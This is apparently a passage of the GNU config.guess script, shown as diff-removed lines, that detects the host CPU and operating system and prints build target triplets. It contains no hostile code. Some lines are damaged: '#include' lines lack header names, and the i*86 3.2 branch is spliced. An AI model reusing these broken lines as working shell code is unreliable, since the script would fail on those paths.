;; - Motorola:*:4.3:PL8-*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:*:*:PowerMAX_OS | Synergy:PowerMAX_OS:*:*) - echo powerpc-harris-powermax - exit ;; - Night_Hawk:Power_UNIX:*:*) - echo powerpc-harris-powerunix - exit ;; - m88k:CX/UX:7*:*) - echo m88k-harris-cxux7 - exit ;; - m88k:*:4*:R4*) - echo m88k-motorola-sysv4 - exit ;; - m88k:*:3*:R3*) - echo m88k-motorola-sysv3 - exit ;; - AViiON:dgux:*:*) - # DG/UX returns AViiON for all architectures - UNAME_PROCESSOR=$(/usr/bin/uname -p) - if test "$UNAME_PROCESSOR" = mc88100 || test "$UNAME_PROCESSOR" = mc88110 - then - if test "$TARGET_BINARY_INTERFACE"x = m88kdguxelfx || \ - test "$TARGET_BINARY_INTERFACE"x = x - then - echo m88k-dg-dgux"$UNAME_RELEASE" - else - echo m88k-dg-dguxbcs"$UNAME_RELEASE" - fi - else - echo i586-dg-dgux"$UNAME_RELEASE" - fi - exit ;; - M88*:DolphinOS:*:*) # DolphinOS (SVR3) - echo m88k-dolphin-sysv3 - exit ;; - M88*:*:R3*:*) - # Delta 88k system running SVR3 - echo m88k-motorola-sysv3 - exit ;; - XD88*:*:*:*) # Tektronix XD88 system running UTekV (SVR3) - echo m88k-tektronix-sysv3 - exit ;; - Tek43[0-9][0-9]:UTek:*:*) # Tektronix 4300 system running UTek (BSD) - echo m68k-tektronix-bsd - exit ;; - *:IRIX*:*:*) - echo mips-sgi-irix"$(echo "$UNAME_RELEASE"|sed -e 's/-/_/g')" - exit ;; - ????????:AIX?:[12].1:2) # AIX 2.2.1 or AIX 2.1.1 is RT/PC AIX. - echo romp-ibm-aix # uname -m gives an 8 hex-code CPU id - exit ;; # Note that: echo "'$(uname -s)'" gives 'AIX ' - i*86:AIX:*:*) - echo i386-ibm-aix - exit ;; - ia64:AIX:*:*) - if test -x /usr/bin/oslevel ; then - IBM_REV=$(/usr/bin/oslevel) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$UNAME_MACHINE"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:2:3) - if grep bos325 /usr/include/stdio.h >/dev/null 2>&1; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - - main() - { - if (!__power_pc()) - exit(1); - puts("powerpc-ibm-aix3.2.5"); - exit(0); - } -EOF - if $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") - then - echo "$SYSTEM_NAME" - else - echo rs6000-ibm-aix3.2.5 - fi - elif grep bos324 /usr/include/stdio.h >/dev/null 2>&1; then - echo rs6000-ibm-aix3.2.4 - else - echo rs6000-ibm-aix3.2 - fi - exit ;; - *:AIX:*:[4567]) - IBM_CPU_ID=$(/usr/sbin/lsdev -C -c processor -S available | sed 1q | awk '{ print $1 }') - if /usr/sbin/lsattr -El "$IBM_CPU_ID" | grep ' POWER' >/dev/null 2>&1; then - IBM_ARCH=rs6000 - else - IBM_ARCH=powerpc - fi - if test -x /usr/bin/lslpp ; then - IBM_REV=$(/usr/bin/lslpp -Lqc bos.rte.libc | - awk -F: '{ print $3 }' | sed s/[0-9]*$/0/) - else - IBM_REV="$UNAME_VERSION.$UNAME_RELEASE" - fi - echo "$IBM_ARCH"-ibm-aix"$IBM_REV" - exit ;; - *:AIX:*:*) - echo rs6000-ibm-aix - exit ;; - ibmrt:4.4BSD:*|romp-ibm:4.4BSD:*) - echo romp-ibm-bsd4.4 - exit ;; - ibmrt:*BSD:*|romp-ibm:BSD:*) # covers RT/PC BSD and - echo romp-ibm-bsd"$UNAME_RELEASE" # 4.3 with uname added to - exit ;; # report: romp-ibm BSD 4.3 - *:BOSX:*:*) - echo rs6000-bull-bosx - exit ;; - DPX/2?00:B.O.S.:*:*) - echo m68k-bull-sysv3 - exit ;; - 9000/[34]??:4.3bsd:1.*:*) - echo m68k-hp-bsd - exit ;; - hp300:4.4BSD:*:* | 9000/[34]??:4.3bsd:2.*:*) - echo m68k-hp-bsd4.4 - exit ;; - 9000/[34678]??:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - case "$UNAME_MACHINE" in - 9000/31?) HP_ARCH=m68000 ;; - 9000/[34]??) HP_ARCH=m68k ;; - 9000/[678][0-9][0-9]) - if test -x /usr/bin/getconf; then - sc_cpu_version=$(/usr/bin/getconf SC_CPU_VERSION 2>/dev/null) - sc_kernel_bits=$(/usr/bin/getconf SC_KERNEL_BITS 2>/dev/null) - case "$sc_cpu_version" in - 523) HP_ARCH=hppa1.0 ;; # CPU_PA_RISC1_0 - 528) HP_ARCH=hppa1.1 ;; # CPU_PA_RISC1_1 - 532) # CPU_PA_RISC2_0 - case "$sc_kernel_bits" in - 32) HP_ARCH=hppa2.0n ;; - 64) HP_ARCH=hppa2.0w ;; - '') HP_ARCH=hppa2.0 ;; # HP-UX 10.20 - esac ;; - esac - fi - if test "$HP_ARCH" = ""; then - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - - #define _HPUX_SOURCE - #include - #include - - int main () - { - #if defined(_SC_KERNEL_BITS) - long bits = sysconf(_SC_KERNEL_BITS); - #endif - long cpu = sysconf (_SC_CPU_VERSION); - - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0"); break; - case CPU_PA_RISC1_1: puts ("hppa1.1"); break; - case CPU_PA_RISC2_0: - #if defined(_SC_KERNEL_BITS) - switch (bits) - { - case 64: puts ("hppa2.0w"); break; - case 32: puts ("hppa2.0n"); break; - default: puts ("hppa2.0"); break; - } break; - #else /* !defined(_SC_KERNEL_BITS) */ - puts ("hppa2.0"); break; - #endif - default: puts ("hppa1.0"); break; - } - exit (0); - } -EOF - (CCOPTS="" $CC_FOR_BUILD -o "$dummy" "$dummy.c" 2>/dev/null) && HP_ARCH=$("$dummy") - test -z "$HP_ARCH" && HP_ARCH=hppa - fi ;; - esac - if test "$HP_ARCH" = hppa2.0w - then - set_cc_for_build - - # hppa2.0w-hp-hpux* has a 64-bit kernel and a compiler generating - # 32-bit code. hppa64-hp-hpux* has the same kernel and a compiler - # generating 64-bit code. GNU and HP use different nomenclature: - # - # $ CC_FOR_BUILD=cc ./config.guess - # => hppa2.0w-hp-hpux11.23 - # $ CC_FOR_BUILD="cc +DA2.0w" ./config.guess - # => hppa64-hp-hpux11.23 - - if echo __LP64__ | (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | - grep -q __LP64__ - then - HP_ARCH=hppa2.0w - else - HP_ARCH=hppa64 - fi - fi - echo "$HP_ARCH"-hp-hpux"$HPUX_REV" - exit ;; - ia64:HP-UX:*:*) - HPUX_REV=$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*.[0B]*//') - echo ia64-hp-hpux"$HPUX_REV" - exit ;; - 3050*:HI-UX:*:*) - set_cc_for_build - sed 's/^ //' << EOF > "$dummy.c" - #include - int - main () - { - long cpu = sysconf (_SC_CPU_VERSION); - /* The order matters, because CPU_IS_HP_MC68K erroneously returns - true for CPU_PA_RISC1_0. CPU_IS_PA_RISC returns correct - results, however. */ - if (CPU_IS_PA_RISC (cpu)) - { - switch (cpu) - { - case CPU_PA_RISC1_0: puts ("hppa1.0-hitachi-hiuxwe2"); break; - case CPU_PA_RISC1_1: puts ("hppa1.1-hitachi-hiuxwe2"); break; - case CPU_PA_RISC2_0: puts ("hppa2.0-hitachi-hiuxwe2"); break; - default: puts ("hppa-hitachi-hiuxwe2"); break; - } - } - else if (CPU_IS_HP_MC68K (cpu)) - puts ("m68k-hitachi-hiuxwe2"); - else puts ("unknown-hitachi-hiuxwe2"); - exit (0); - } -EOF - $CC_FOR_BUILD -o "$dummy" "$dummy.c" && SYSTEM_NAME=$("$dummy") && - { echo "$SYSTEM_NAME"; exit; } - echo unknown-hitachi-hiuxwe2 - exit ;; - 9000/7??:4.3bsd:*:* | 9000/8?[79]:4.3bsd:*:*) - echo hppa1.1-hp-bsd - exit ;; - 9000/8??:4.3bsd:*:*) - echo hppa1.0-hp-bsd - exit ;; - *9??*:MPE/iX:*:* | *3000*:MPE/iX:*:*) - echo hppa1.0-hp-mpeix - exit ;; - hp7??:OSF1:*:* | hp8?[79]:OSF1:*:*) - echo hppa1.1-hp-osf - exit ;; - hp8??:OSF1:*:*) - echo hppa1.0-hp-osf - exit ;; - i*86:OSF1:*:*) - if test -x /usr/sbin/sysversion ; then - echo "$UNAME_MACHINE"-unknown-osf1mk - else - echo "$UNAME_MACHINE"-unknown-osf1 - fi - exit ;; - parisc*:Lites*:*:*) - echo hppa1.1-hp-lites - exit ;; - C1*:ConvexOS:*:* | convex:ConvexOS:C1*:*) - echo c1-convex-bsd - exit ;; - C2*:ConvexOS:*:* | convex:ConvexOS:C2*:*) - if getsysinfo -f scalar_acc - then echo c32-convex-bsd - else echo c2-convex-bsd - fi - exit ;; - C34*:ConvexOS:*:* | convex:ConvexOS:C34*:*) - echo c34-convex-bsd - exit ;; - C38*:ConvexOS:*:* | convex:ConvexOS:C38*:*) - echo c38-convex-bsd - exit ;; - C4*:ConvexOS:*:* | convex:ConvexOS:C4*:*) - echo c4-convex-bsd - exit ;; - CRAY*Y-MP:*:*:*) - echo ymp-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*[A-Z]90:*:*:*) - echo "$UNAME_MACHINE"-cray-unicos"$UNAME_RELEASE" \ - | sed -e 's/CRAY.*\([A-Z]90\)/\1/' \ - -e y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/ \ - -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*TS:*:*:*) - echo t90-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*T3E:*:*:*) - echo alphaev5-cray-unicosmk"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - CRAY*SV1:*:*:*) - echo sv1-cray-unicos"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - *:UNICOS/mp:*:*) - echo craynv-cray-unicosmp"$UNAME_RELEASE" | sed -e 's/\.[^.]*$/.X/' - exit ;; - F30[01]:UNIX_System_V:*:* | F700:UNIX_System_V:*:*) - FUJITSU_PROC=$(uname -m | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | sed -e 's/ /_/') - echo "${FUJITSU_PROC}-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - 5000:UNIX_System_V:4.*:*) - FUJITSU_SYS=$(uname -p | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/\///') - FUJITSU_REL=$(echo "$UNAME_RELEASE" | tr ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz | sed -e 's/ /_/') - echo "sparc-fujitsu-${FUJITSU_SYS}${FUJITSU_REL}" - exit ;; - i*86:BSD/386:*:* | i*86:BSD/OS:*:* | *:Ascend\ Embedded/OS:*:*) - echo "$UNAME_MACHINE"-pc-bsdi"$UNAME_RELEASE" - exit ;; - sparc*:BSD/OS:*:*) - echo sparc-unknown-bsdi"$UNAME_RELEASE" - exit ;; - *:BSD/OS:*:*) - echo "$UNAME_MACHINE"-unknown-bsdi"$UNAME_RELEASE" - exit ;; - arm:FreeBSD:*:*) - UNAME_PROCESSOR=$(uname -p) - set_cc_for_build - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabi - else - echo "${UNAME_PROCESSOR}"-unknown-freebsd"$(echo ${UNAME_RELEASE}|sed -e 's/[-(].*//')"-gnueabihf - fi - exit ;; - *:FreeBSD:*:*) - UNAME_PROCESSOR=$(/usr/bin/uname -p) - case "$UNAME_PROCESSOR" in - amd64) - UNAME_PROCESSOR=x86_64 ;; - i386) - UNAME_PROCESSOR=i586 ;; - esac - echo "$UNAME_PROCESSOR"-unknown-freebsd"$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')" - exit ;; - i*:CYGWIN*:*) - echo "$UNAME_MACHINE"-pc-cygwin - exit ;; - *:MINGW64*:*) - echo "$UNAME_MACHINE"-pc-mingw64 - exit ;; - *:MINGW*:*) - echo "$UNAME_MACHINE"-pc-mingw32 - exit ;; - *:MSYS*:*) - echo "$UNAME_MACHINE"-pc-msys - exit ;; - i*:PW*:*) - echo "$UNAME_MACHINE"-pc-pw32 - exit ;; - *:Interix*:*) - case "$UNAME_MACHINE" in - x86) - echo i586-pc-interix"$UNAME_RELEASE" - exit ;; - authenticamd | genuineintel | EM64T) - echo x86_64-unknown-interix"$UNAME_RELEASE" - exit ;; - IA64) - echo ia64-unknown-interix"$UNAME_RELEASE" - exit ;; - esac ;; - i*:UWIN*:*) - echo "$UNAME_MACHINE"-pc-uwin - exit ;; - amd64:CYGWIN*:*:* | x86_64:CYGWIN*:*:*) - echo x86_64-pc-cygwin - exit ;; - prep*:SunOS:5.*:*) - echo powerpcle-unknown-solaris2"$(echo "$UNAME_RELEASE"|sed -e 's/[^.]*//')" - exit ;; - *:GNU:*:*) - # the GNU system - echo "$(echo "$UNAME_MACHINE"|sed -e 's,[-/].*$,,')-unknown-$LIBC$(echo "$UNAME_RELEASE"|sed -e 's,/.*$,,')" - exit ;; - *:GNU/*:*:*) - # other systems with GNU libc and userland - echo "$UNAME_MACHINE-unknown-$(echo "$UNAME_SYSTEM" | sed 's,^[^/]*/,,' | tr "[:upper:]" "[:lower:]")$(echo "$UNAME_RELEASE"|sed -e 's/[-(].*//')-$LIBC" - exit ;; - *:Minix:*:*) - echo "$UNAME_MACHINE"-unknown-minix - exit ;; - aarch64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - aarch64_be:Linux:*:*) - UNAME_MACHINE=aarch64_be - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - alpha:Linux:*:*) - case $(sed -n '/^cpu model/s/^.*: \(.*\)/\1/p' /proc/cpuinfo 2>/dev/null) in - EV5) UNAME_MACHINE=alphaev5 ;; - EV56) UNAME_MACHINE=alphaev56 ;; - PCA56) UNAME_MACHINE=alphapca56 ;; - PCA57) UNAME_MACHINE=alphapca56 ;; - EV6) UNAME_MACHINE=alphaev6 ;; - EV67) UNAME_MACHINE=alphaev67 ;; - EV68*) UNAME_MACHINE=alphaev68 ;; - esac - objdump --private-headers /bin/sh | grep -q ld.so.1 - if test "$?" = 0 ; then LIBC=gnulibc1 ; fi - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arc:Linux:*:* | arceb:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - arm*:Linux:*:*) - set_cc_for_build - if echo __ARM_EABI__ | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_EABI__ - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - else - if echo __ARM_PCS_VFP | $CC_FOR_BUILD -E - 2>/dev/null \ - | grep -q __ARM_PCS_VFP - then - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabi - else - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC"eabihf - fi - fi - exit ;; - avr32*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - cris:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - crisv32:Linux:*:*) - echo "$UNAME_MACHINE"-axis-linux-"$LIBC" - exit ;; - e2k:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - frv:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - hexagon:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:Linux:*:*) - echo "$UNAME_MACHINE"-pc-linux-"$LIBC" - exit ;; - ia64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - k1om:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - loongarch32:Linux:*:* | loongarch64:Linux:*:* | loongarchx32:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m32r*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - m68*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - mips:Linux:*:* | mips64:Linux:*:*) - set_cc_for_build - IS_GLIBC=0 - test x"${LIBC}" = xgnu && IS_GLIBC=1 - sed 's/^ //' << EOF > "$dummy.c" - #undef CPU - #undef mips - #undef mipsel - #undef mips64 - #undef mips64el - #if ${IS_GLIBC} && defined(_ABI64) - LIBCABI=gnuabi64 - #else - #if ${IS_GLIBC} && defined(_ABIN32) - LIBCABI=gnuabin32 - #else - LIBCABI=${LIBC} - #endif - #endif - - #if ${IS_GLIBC} && defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa64r6 - #else - #if ${IS_GLIBC} && !defined(__mips64) && defined(__mips_isa_rev) && __mips_isa_rev>=6 - CPU=mipsisa32r6 - #else - #if defined(__mips64) - CPU=mips64 - #else - CPU=mips - #endif - #endif - #endif - - #if defined(__MIPSEL__) || defined(__MIPSEL) || defined(_MIPSEL) || defined(MIPSEL) - MIPS_ENDIAN=el - #else - #if defined(__MIPSEB__) || defined(__MIPSEB) || defined(_MIPSEB) || defined(MIPSEB) - MIPS_ENDIAN= - #else - MIPS_ENDIAN= - #endif - #endif -EOF - eval "$($CC_FOR_BUILD -E "$dummy.c" 2>/dev/null | grep '^CPU\|^MIPS_ENDIAN\|^LIBCABI')" - test "x$CPU" != x && { echo "$CPU${MIPS_ENDIAN}-unknown-linux-$LIBCABI"; exit; } - ;; - mips64el:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - openrisc*:Linux:*:*) - echo or1k-unknown-linux-"$LIBC" - exit ;; - or32:Linux:*:* | or1k*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - padre:Linux:*:*) - echo sparc-unknown-linux-"$LIBC" - exit ;; - parisc64:Linux:*:* | hppa64:Linux:*:*) - echo hppa64-unknown-linux-"$LIBC" - exit ;; - parisc:Linux:*:* | hppa:Linux:*:*) - # Look for CPU level - case $(grep '^cpu[^a-z]*:' /proc/cpuinfo 2>/dev/null | cut -d' ' -f2) in - PA7*) echo hppa1.1-unknown-linux-"$LIBC" ;; - PA8*) echo hppa2.0-unknown-linux-"$LIBC" ;; - *) echo hppa-unknown-linux-"$LIBC" ;; - esac - exit ;; - ppc64:Linux:*:*) - echo powerpc64-unknown-linux-"$LIBC" - exit ;; - ppc:Linux:*:*) - echo powerpc-unknown-linux-"$LIBC" - exit ;; - ppc64le:Linux:*:*) - echo powerpc64le-unknown-linux-"$LIBC" - exit ;; - ppcle:Linux:*:*) - echo powerpcle-unknown-linux-"$LIBC" - exit ;; - riscv32:Linux:*:* | riscv32be:Linux:*:* | riscv64:Linux:*:* | riscv64be:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - s390:Linux:*:* | s390x:Linux:*:*) - echo "$UNAME_MACHINE"-ibm-linux-"$LIBC" - exit ;; - sh64*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sh*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - sparc:Linux:*:* | sparc64:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - tile*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - vax:Linux:*:*) - echo "$UNAME_MACHINE"-dec-linux-"$LIBC" - exit ;; - x86_64:Linux:*:*) - set_cc_for_build - LIBCABI=$LIBC - if test "$CC_FOR_BUILD" != no_compiler_found; then - if (echo '#ifdef __ILP32__'; echo IS_X32; echo '#endif') | \ - (CCOPTS="" $CC_FOR_BUILD -E - 2>/dev/null) | \ - grep IS_X32 >/dev/null - then - LIBCABI="$LIBC"x32 - fi - fi - echo "$UNAME_MACHINE"-pc-linux-"$LIBCABI" - exit ;; - xtensa*:Linux:*:*) - echo "$UNAME_MACHINE"-unknown-linux-"$LIBC" - exit ;; - i*86:DYNIX/ptx:4*:*) - # ptx 4.0 does uname -s correctly, with DYNIX/ptx in there. - # earlier versions are messed up and put the nodename in both - # sysname and nodename. - echo i386-sequent-sysv4 - exit ;; - i*86:UNIX_SV:4.2MP:2.*) - # Unixware is an offshoot of SVR4, but it has its own version - # number series starting with 2... - # I am not positive that other SVR4 systems won't match this, - # I just have to hope. -- rms. - # Use sysv4.2uw... so that sysv4* matches it. - echo "$UNAME_MACHINE"-pc-sysv4.2uw"$UNAME_VERSION" - exit ;; - i*86:OS/2:*:*) - # If we were able to find `uname', then EMX Unix compatibility - # is probably installed. - echo "$UNAME_MACHINE"-pc-os2-emx - exit ;; - i*86:XTS-300:*:STOP) - echo "$UNAME_MACHINE"-unknown-stop - exit ;; - i*86:atheos:*:*) - echo "$UNAME_MACHINE"-unknown-atheos - exit ;; - i*86:syllable:*:*) - echo "$UNAME_MACHINE"-pc-syllable - exit ;; - i*86:LynxOS:2.*:* | i*86:LynxOS:3.[01]*:* | i*86:LynxOS:4.[02]*:*) - echo i386-unknown-lynxos"$UNAME_RELEASE" - exit ;; - i*86:*DOS:*:*) - echo "$UNAME_MACHINE"-pc-msdosdjgpp - exit ;; - i*86:*:4.*:*) - UNAME_REL=$(echo "$UNAME_RELEASE" | sed 's/\/MP$//') - if grep Novell /usr/include/link.h >/dev/null 2>/dev/null; then - echo "$UNAME_MACHINE"-univel-sysv"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv"$UNAME_REL" - fi - exit ;; - i*86:*:5:[678]*) - # UnixWare 7.x, OpenUNIX and OpenServer 6. - case $(/bin/uname -X | grep "^Machine") in - *486*) UNAME_MACHINE=i486 ;; - *Pentium) UNAME_MACHINE=i586 ;; - *Pent*|*Celeron) UNAME_MACHINE=i686 ;; - esac - echo "$UNAME_MACHINE-unknown-sysv${UNAME_RELEASE}${UNAME_SYSTEM}${UNAME_VERSION}" - exit ;; - i*86:*:3.2:*) - if test -f /usr/options/cb.name; then - UNAME_REL=$(sed -n 's/.*Version //p' /dev/null >/dev/null ; then - UNAME_REL=$( (/bin/uname -X|grep Release|sed -e 's/.*= //')) - (/bin/uname -X|grep i80486 >/dev/null) && UNAME_MACHINE=i486 - (/bin/uname -X|grep '^Machine.*Pentium' >/dev/null) \ - && UNAME_MACHINE=i586 - (/bin/uname -X|grep '^Machine.*Pent *II' >/dev/null) \ - && UNAME_MACHINE=i686 - (/bin/uname -X|grep '^Machine.*Pentium Pro' >/dev/null) \ - && UNAME_MACHINE=i686 - echo "$UNAME_MACHINE"-pc-sco"$UNAME_REL" - else - echo "$UNAME_MACHINE"-pc-sysv32 - fi - exit ;; - pc:*:*:*) - # Left here for compatibility: - # uname -m prints for DJGPP always 'pc', but it prints nothing about - # the processor, so we play safe by assuming i586. - # Note: whatever this is, it MUST be the same as what config.sub - # prints for the "djgpp" host, or else GDB configure will decide that - # this is a cross-build. - echo i586-pc-msdosdjgpp - exit ;; - Intel:Mach:3*:*) - echo i386-pc-mach3 - exit ;; - paragon:*:*:*) - echo i860-intel-osf1 - exit ;; - i860:*:4.*:*) # i860-SVR4 - if grep Stardent /usr/include/sys/uadmin.h >/dev/null 2>&1 ; then - echo i860-stardent-sysv"$UNAME_RELEASE" # Stardent Vistra i860-SVR4 - else # Add other i860-SVR4 vendors below as they are discovered. - echo i860-unknown-sysv"$UNAME_RELEASE" # Unknown i860-SVR4 - fi - exit ;; - mini*:CTIX:SYS*5:*) - # "miniframe" - echo m68010-convergent-sysv - exit ;; - mc68k:UNIX:SYSTEM5:3.51m) - echo m68k-convergent-sysv - exit ;; - M680?0:D-NIX:5.3:*) - echo m68k-diab-dnix - exit ;; - M68*:*:R3V[5678]*:*) - test -r /sysV68 && { echo 'm68k-motorola-sysv'; exit; } ;; - 3[345]??:*:4.0:3.0 | 3[34]??A:*:4.0:3.0 | 3[34]??,*:*:4.0:3.0 | 3[34]??/*:*:4.0:3.0 | 4400:*:4.0:3.0 | 4850:*:4.0:3.0 | SKA40:*:4.0:3.0 | SDS2:*:4.0:3.0 | SHG2:*:4.0:3.0 | S7501*:*:4.0:3.0) - OS_REL='' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - 3[34]??:*:4.0:* | 3[34]??,*:*:4.0:*) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4; exit; } ;; - NCR*:*:4.2:* | MPRAS*:*:4.2:*) - OS_REL='.3' - test -r /etc/.relid \ - && OS_REL=.$(sed -n 's/[^ ]* [^ ]* \([0-9][0-9]\).*/\1/p' < /etc/.relid) - /bin/uname -p 2>/dev/null | grep 86 >/dev/null \ - && { echo i486-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep entium >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } - /bin/uname -p 2>/dev/null | /bin/grep pteron >/dev/null \ - && { echo i586-ncr-sysv4.3"$OS_REL"; exit; } ;; - m68*:LynxOS:2.*:* | m68*:LynxOS:3.0*:*) - echo m68k-unknown-lynxos"$UNAME_RELEASE" - exit ;; - mc68030:UNIX_System_V:4.*:*) - echo m68k-atari-sysv4 - exit ;; - TSUNAMI:LynxOS:2.*:*) - echo sparc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - rs6000:LynxOS:2.*:*) - echo rs6000-unknown-lynxos"$UNAME_RELEASE" - exit ;; - PowerPC:LynxOS:2.*:* | PowerPC:LynxOS:3.[01]*:* | PowerPC:LynxOS:4.[02]*:*) - echo powerpc-unknown-lynxos"$UNAME_RELEASE" - exit ;; - SM[BE]S:UNIX_SV:*:*) - echo mips-dde-sysv"$UNAME_RELEASE" - exit ;; - RM*:ReliantUNIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - RM*:SINIX-*:*:*) - echo mips-sni-sysv4 - exit ;; - *:SINIX-*:*:*) - if uname -p 2>/dev/null >/dev/null ; then - UNAME_MACHINE=$( (uname -p) 2>/dev/null) - echo "$UNAME_MACHINE"-sni-sysv4 - else - echo ns32k-sni-sysv - fi - exit ;; - PENTIUM:*:4.0*:*) # Unisys `ClearPath HMP IX 4000' SVR4/MP effort - # says - echo i586-unisys-sysv4 - exit ;; - *:UNIX_System_V:4*:FTX*) - # From Gerald Hewes . - # How about differentiating between stratus architectures? -djm - echo hppa1.1-stratus-sysv4 - exit ;; - *:*:*:FTX*) - # From seanf@swdc.stratus.com. - echo i860-stratus-sysv4 - exit ;; - i*86:VOS:*:*) - # From Paul.Green@stratus.com. - echo "$UNAME_MACHINE"-stratus-vos - exit ;; - *:VOS:*:*) - # From Paul.Green@stratus.com. - echo hppa1.1-stratus-vos - exit ;; - mc68*:A/UX:*:*) - echo m68k-apple-aux"$UNAME_RELEASE" - exit ;; - news*:NEWS-OS:6*:*) - echo mips-sony-newsos6 - exit ;; - R[34]000:*System_V*:*:* | R4000:UNIX_SYSV:*:* | R*000:UNIX_SV:*:*) - if test -d /usr/nec; then - echo mips-nec-sysv"$UNAME_RELEASE" - else - echo mips-unknown-sysv"$UNAME_RELEASE" - fi - exit ;; - BeBox:BeOS:*:*) # BeOS running on hardware made by Be, PPC only. - echo powerpc-be-beos - exit ;; - BeMac:BeOS:*:*) # BeOS running on Mac or Mac clone, PPC only. - echo powerpc-apple-beos - exit ;; - BePC:BeOS:*:*) # BeOS running on Intel PC compatible. - echo i586-pc-beos - exit ;; - BePC:Haiku:*:*) # Haiku running on Intel PC compatible. - echo i586-pc-haiku - exit ;; - x86_64:Haiku:*:*) - echo x86_64-unknown-haiku - exit ;; - SX-4:SUPER-UX:*:*) - echo sx4-nec-superux"$UNAME_RELEASE" - exit ;; - SX-5:SUPER-UX:*:*) - echo sx5-nec-superux"$UNAME_RELEASE" - exit ;; - SX-6:SUPER-UX:*:*) - echo sx6-nec-superux"$UNAME_RELEASE" - exit ;; - SX-7:SUPER-UX:*:*) - echo sx7-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8:SUPER-UX:*:*) - echo sx8-nec-superux"$UNAME_RELEASE" - exit ;; - SX-8R:SUPER-UX:*:*) - echo sx8r-nec-superux"$UNAME_RELEASE" - exit ;; - SX-ACE:SUPER-UX:*:*) - echo sxace-nec-superux"$UNAME_RELEASE" - exit ;; - Power*:Rhapsody:*:*) - echo powerpc-apple-rhapsody"$UNAME_RELEASE" - exit ;; - *:Rhapsody:*:*) - echo "$UNAME_MACHINE"-apple-rhapsody"$UNAME_RELEASE" - exit 